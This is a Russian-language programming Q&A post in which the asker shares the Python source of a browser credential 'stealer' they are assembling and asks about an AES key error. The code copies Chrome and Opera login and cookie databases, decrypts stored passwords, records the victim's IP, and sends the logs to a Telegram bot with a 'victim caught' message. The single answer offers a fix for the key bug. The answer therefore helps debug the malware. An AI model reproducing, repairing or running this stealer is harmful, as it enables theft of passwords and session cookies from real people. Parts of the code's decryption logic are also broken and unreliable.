Object type cannot be passed to C code
Пишу стиллак, подбирая кусочки кода с проектов гитхаба. Код который у меня получился:
try:
import time
import telegram
import shutil
import json
import random
from base64 import b64decode
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
import os
import sqlite3
import win32api
import datetime
import requests
import ctypes
import string
import subprocess
from bs4 import BeautifulSoup
import sys
import urllib.request
import re
import glob
from ctypes import wintypes
from json import loads as json_loads, load
from string import ascii_lowercase
from sqlite3 import connect as sql_connect
from Crypto import Random
except Exception as e:
print(e)
pass
user_id = *скрыто*
token = *скрыто*
today = datetime.datetime.today()
password_file = "log" + today.strftime("%Y-%m-%d-%H.%M.%S") + ".txt"
read_files = glob.glob("*.txt")
sendpath = 'C:\Temp'
url = "https://ifconfig.me/ip"
uf = urllib.request.urlopen(url)
html1 = uf.read()
html = re.sub("[b'()]", "", html1.decode('utf-8'))
passtext = "######################################" + "\n" + "########## Passwords of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
LocalAppData = os.environ['LocalAppData'] + '\\'
AppData = os.environ['AppData'] + '\\'
FileName = 116444736000000000
NanoSeconds = 10000000
class DATA_BLOB(ctypes.Structure):
_fields_ = [
('cbData', wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))
]
subprocess.Popen('@chcp 65001 1>nul', shell=True)
def GetBrowsers():
Browsers = []
for Browser in BrowsersPath:
if os.path.exists(Browser):
Browsers.append(Browser)
return Browsers
def DecryptPayload(cipher, payload):
return cipher.decrypt(cipher, payload)
def GenerateCipher(aes_key, iv):
aes_key = [random.choice(string.ascii_lowercase) for i in range(random.randint(16, 16))]
iv= b'0123456789abcdef'
return AES.new(aes_key, AES.MODE_CBC, iv=iv)
def GetMasterKey(browserPath):
fail = True
for i in range(4):
path = browserPath + '\\..' * i + '\\Local State'
if os.path.exists(path):
fail = False
break
if fail:
return None
with open(path, 'r', encoding='utf-8') as f:
local_state = f.read()
local_state = json_loads(local_state)
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key)
return master_key
def DecryptValue(buff, master_key=None):
starts = buff.decode(encoding='utf-8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = GenerateCipher(master_key, iv)
decrypted_pass = DecryptPayload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
else:
decrypted_pass = CryptUnprotectData(buff)
return decrypted_pass
def FetchDataBase(target_db, sql=''):
if not os.path.exists(target_db):
return []
tmpDB = os.getenv('TEMP') + '\info_' + ''.join(random.choice(ascii_lowercase) for i in range(random.randint(10, 20))) + '.db'
shutil.copy2(target_db, tmpDB)
conn = sql_connect(tmpDB)
cursor = conn.cursor()
cursor.execute(sql)
data = cursor.fetchall()
cursor.close()
conn.close()
try:
os.remove(tmpDB)
except:
pass
return data
BrowsersPath = (
LocalAppData + 'Google\\Chrome\\User Data\\Default',
AppData + 'Opera Software\\Opera Stable'
)
def GetPasswords():
global credentials
credentials = []
ptext = "######################################" + "\n" + "########## Passwords of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
for browser in GetBrowsers():
master_key = GetMasterKey(browser)
database = FetchDataBase(browser + '\\Login Data', 'SELECT action_url, username_value, password_value FROM logins')
for row in database:
password = {
'hostname': row[0],
'login': row[1],
'password': DecryptValue(row[2], master_key)
}
ptext += f'{row[0]}|{row[1]}|{row[2]}\n' + '\n'
with open("p_log.txt", "w", encoding="utf-8") as f:
f.write(ptext)
credentials.append(password)
return credentials
def GetCookies():
global credentials
credentials = []
ctext = "######################################" + "\n" + "########## Cookies of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
for browser in GetBrowsers():
master_key = GetMasterKey(browser)
database = FetchDataBase(browser + '\\Cookies', 'SELECT * FROM cookies')
for row in database:
cookie = {
'value': DecryptValue(row[12], master_key),
'hostname': row[1],
'name': row[2],
'path': row[4],
'expires': row[5],
'secure': bool(row[6])
}
ctext += f'{value}|{hostname}|{name}|{path}|{expires}|{secure}\n' + '\n'
with open("c_log.txt", "w", encoding="utf-8") as f:
f.write(ctext)
credentials.append(cookie)
return credentials
def merge_logs():
try:
with open(password_file, "wb") as outfile:
for f in read_files:
with open(f, "rb") as infile:
outfile.write(infile.read() + b'\n')
except Exception as e:
print("ERROR in merge_logs() func: " + repr(e))
pass
def send_txt():
try:
f = open(password_file, 'rb')
bot.sendDocument(user_id, document=f)
bot.send_message(user_id, text="Жертва попалась на Money Mod Stealer (" + str(html) + ")!")
print("***Пароли были отправлены через бота")
except Exception as e:
print("ERROR in send_txt() func: " + repr(e))
pass
def logo():
try:
print(" /$$ /$$ /$$ /$$ /$$ /$$$$$$ /$$ /$$ " + "\n" + "| $$$ /$$$ | $$$ /$$$ | $$ /$$__ $$ | $$ | $$ " + "\n" + "| $$$$ /$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$| $$$$ /$$$$ /$$$$$$ /$$$$$$$| $$ \__//$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ " + "\n" + "| $$ $$/$$ $$ /$$__ $$| $$__ $$ /$$__ $$| $$ | $$| $$ $$/$$ $$ /$$__ $$ /$$__ $$| $$$$$$|_ $$_/ /$$__ $$ |____ $$| $$ /$$__ $$ /$$__ $$" + "\n" + "| $$ $$$| $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ | $$| $$ $$$| $$| $$ \ $$| $$ | $$ \____ $$ | $$ | $$$$$$$$ /$$$$$$$| $$| $$$$$$$$| $$ \__/" + "\n" + "| $$\ $ | $$| $$ | $$| $$ | $$| $$_____/| $$ | $$| $$\ $ | $$| $$ | $$| $$ | $$ /$$ \ $$ | $$ /$$| $$_____/ /$$__ $$| $$| $$_____/| $$ " + "\n" + "| $$ \/ | $$| $$$$$$/| $$ | $$| $$$$$$$| $$$$$$$| $$ \/ | $$| $$$$$$/| $$$$$$$| $$$$$$/ | $$$$/| $$$$$$$| $$$$$$$| $$| $$$$$$$| $$ " + "\n" + "|__/ |__/ \______/ |__/ |__/ \_______/ \____ $$|__/ |__/ \______/ \_______/ \______/ \___/ \_______/ \_______/|__/ \_______/|__/ " + "\n" + " /$$ | $$ " + "\n" + " | $$$$$$/ " + "\n" + " \______/ ")
time.sleep(10)
except Exception as e:
print("ERROR in logo() func: " + repr(e))
pass
def main():
try:
GetBrowsers()
GetPasswords()
GetCookies()
merge_logs()
send_txt()
except Exception as e:
print(e)
pass
if __name__ == '__main__':
main()
print("Успешно!")
Запустив код, я получил ошибку:
Object type <class 'list'> cannot be passed to C code
Почему не пишет строку я так и не понял, но методом тыка понял, что проблема в функции GenerateCipher.
Ответы (1 шт):
Автор решения: CrazyElf
→ Ссылка
Примеры в документации выглядят так:
from Crypto.Cipher import AES
key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
А у вас код такой:
aes_key = [random.choice(string.ascii_lowercase) for i in range(random.randint(16, 16))]
iv= b'0123456789abcdef'
return AES.new(aes_key, AES.MODE_CBC, iv=iv)
Т.е. key должен быть байтами, а у вас там список. Что за ключ iv= непонятно, в документации такого не видно. Так что, наверное, aes_key нужно генерить так:
aes_key = ''.join([random.choice(string.ascii_lowercase) for i in range(random.randint(16, 16))]).encode()
Ну, либо у вас ключ в переменной iv лежит и надо использовать её как ключ, я не знаю какая у вас задумка.